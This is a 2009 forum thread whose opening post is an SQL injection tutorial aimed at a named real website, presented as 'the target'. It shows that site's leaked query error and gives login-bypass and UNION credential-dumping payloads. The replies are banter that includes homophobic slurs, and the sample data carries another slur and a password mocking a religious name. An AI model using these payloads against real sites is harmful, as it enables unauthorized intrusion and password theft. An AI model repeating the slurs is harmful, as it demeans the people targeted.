| View previous topic :: View next topic |
| Author |
Message |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:26 am Post subject: SQL injection |
|
|
K,
This tut is for education only. it will not help you hack so fkn mods DONT dare delete it.
| Quote: | Hello and welcome to my marvellous MySQL TUT.
What you need.
1. A browser (Firefox preferrably)
2. A target
1. Get firefox.
2. http://www.salimmah.com/index.php?page=generosite
To see if it uses SQL, it is easy to start by learning where to try your tricks and what SQL injections are.
An SQL inection is basically inputting data to modify a query to select date it shouldn't select (think of passwords etc..)
Compare it to a printer that prints access tickets
A ticket printer prints this:
--------
Name: <Enter name on computer>
Entrance fee: 20€
--------
What we would get if we enter 'bob' as a name
--------
Name: bob
Entrance fee: 20€
--------
But what if you register under the name: 'bob (50% discount)'
--------
Name: bob (50% discount)
Entrance fee: 20€
--------
If the cashier would read this she may give you 50% off. Cashiers aren't all that smart
The same principre is used in sql injections.
in php there is a a function to get variables from the url bar:
--
$getVar = $_GET['varname'];
--
so if the page would be...
--
foo.php?varname=ello
--
... $getVar would equal 'ello'
So if PHP would create a query that would modify the SQL command to select secret data.
So our page we enter the SQL is this:
http://www.salimmah.com/index.php?page=INJECTION
1st thing you do when SQL injecting is just enter an apostrophe, this is because in a programming language if you enter 3 apostrophes, SQL will give an error since it ends the string at the second quote and the third quote starts a new string. this gives errors.
Let's enter an apostrophe:
http://www.salimmah.com/index.php?page='
---
Page result:
[[execQuery]:Requete invalide : SELECT * FROM contenu WHERE ctt_lang = 'fr' AND ctt_ref = ''' AND ctt_actif = 1]
---
This error discloses a lot of data we now know the table name [contenu] and a few column names [ctt_lang,ctt_ref,ctt_actif]
------
If you enter the below you will get the first result in the table. this is cos '1'='1' is always true
nonexistentpageforsure' OR '1'='1
---
this would make the query this:
SELECT * FROM contenu WHERE ctt_lang = 'fr' AND ctt_ref = 'nonexistentpageforsure' OR '1'='1' AND ctt_actif = 1
----
As you can see you editted the page to check if the page name = 'nonexistentpageforsure' OR if 1=1. is 1 equal to 1? yes. so MySql select all results since 1=1 = always true!
That is why this query select the first page in the DB
This works the same with user injections. if you enter ' OR '1'='1 in a login and pass it is always true.
SELECT * FROM users WHERE name='<name>' AND pass='<pass>';
so...
Let's enter ' OR '1'='1 in the login AND the pass box.
SELECT * FROM users WHERE name='' OR '1'='1' AND pass='' OR '1'='1';
So if the password = '' OR 1=1. same for the username and YOU BET 1=1! so MySQL selects the 1st account which (Most of the times) is the admin account.
---------
Back to the URL injection
UNION querys.
UNION combines two select queries. take this example:
table asdf
id,place,score
1,here,123
2,there,333
3,NULL,555
SELECT * FROM asdf WHERE id=3 UNION SELECT ALL 1,'COMBINE',3;
----
This returns
3,'COMBINE!',555
----
So if we would have two tables like this we could select data
table user
id,name,pass
1,bob,secretpazz
2,jack,guessme
3,dumb,password
4,muhammad,allah
5,theguyabovemeintheDB,isafag
table asdf
id,place,score
1,here,123
2,there,333
3,NULL,555
original query
SELECT place,score FROM asdf WHERE place='<getPlaceName>';
So if we use an UNION injection to combine the query:
SELECT place,score FROM asdf WHERE place='<getPlaceName>';
We insert:
----
nonExistingPlace' UNION SELECT ALL 1,2,'3
----
Makes:
SELECT place,score FROM asdf WHERE place='nonExistingPlace' UNION SELECT ALL 1,2,'3';
So if we enter this:
nonExistingPlace' UNION SELECT ALL 1,CONCAT(user,':',pass),3 FROM user WHERE name='dumb
since 'nonExistingPlace' is NOT a table and selects no data, SQL would select the UNION selected data.
this injection creates:
SELECT place,score FROM asdf WHERE place='nonExistingPlace' UNION SELECT ALL 1,CONCAT(user,':',pass),'thisisscore' FROM user WHERE name='dumb';
So if php prints place and score
place would be CONCAT(user,':',pass) and score would be 'thisisscore'.
So place would be this data:
dumb:password
so if that is printed instead of place you'd get a nice pass DB >
Thats the basics.
Here is a GREAT reference:
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
it has a LOOTTTT of stuff on it.
|
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:29 am Post subject: |
|
|
| wtf is this?
|
|
| Back to top |
|
 |
To0k' Grandmaster Cheater
Reputation: 0
Joined: 29 Jul 2009 Posts: 921
|
Posted: Sat May 16, 2009 5:30 am Post subject: |
|
|
| Lol nice.
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:30 am Post subject: |
|
|
iq 80 and up only. srry.
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:33 am Post subject: |
|
|
| mine is 125.
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:36 am Post subject: |
|
|
ITS A MySQL injection (hacking) tutorial. it learns the basics of hacking a motherfucking Mysql database.
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:37 am Post subject: |
|
|
| what is Mysqwl`?
|
|
| Back to top |
|
 |
To0k' Grandmaster Cheater
Reputation: 0
Joined: 29 Jul 2009 Posts: 921
|
Posted: Sat May 16, 2009 5:38 am Post subject: |
|
|
| haxory' wrote: | | ITS A MySQL injection (hacking) tutorial. it learns the basics of hacking a motherfucking Mysql database. | HAO I IZ ADMINZ?? UND WHAT TEH HEL IS A MESQL DATBAZE??!?!?!!!11 OLOL
Edit: lol, I knew he would ask it.
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:39 am Post subject: |
|
|
| Plimo wrote: | | what is Mysqwl`? |
It is SQL. but it's mine. thats why its 'my'. i wrote it.
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:42 am Post subject: |
|
|
| ok, what's sql?
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:45 am Post subject: |
|
|
http://en.wikipedia.org/wiki/SQL
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:49 am Post subject: |
|
|
ok.
[size=150]fag[/size]
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
Posted: Sat May 16, 2009 5:49 am Post subject: |
|
|
| Plimo wrote: | ok.
[size=150]fag[/size] |
fail.
_________________
you and me baby ain't nothing but mammals so lets do it like they do on the discovery channel |
|
| Back to top |
|
 |
Kardi Expert Cheater
Reputation: 1
Joined: 03 Jul 2008 Posts: 204 Location: + rep me!
|
Posted: Sat May 16, 2009 5:50 am Post subject: |
|
|
| inafterfailonpupose
|
|
| Back to top |
|
 |
Haxory' Grandmaster Cheater Supreme
Reputation: 92
Joined: 30 Jul 2007 Posts: 1900
|
|
| Back to top |
|
 |
|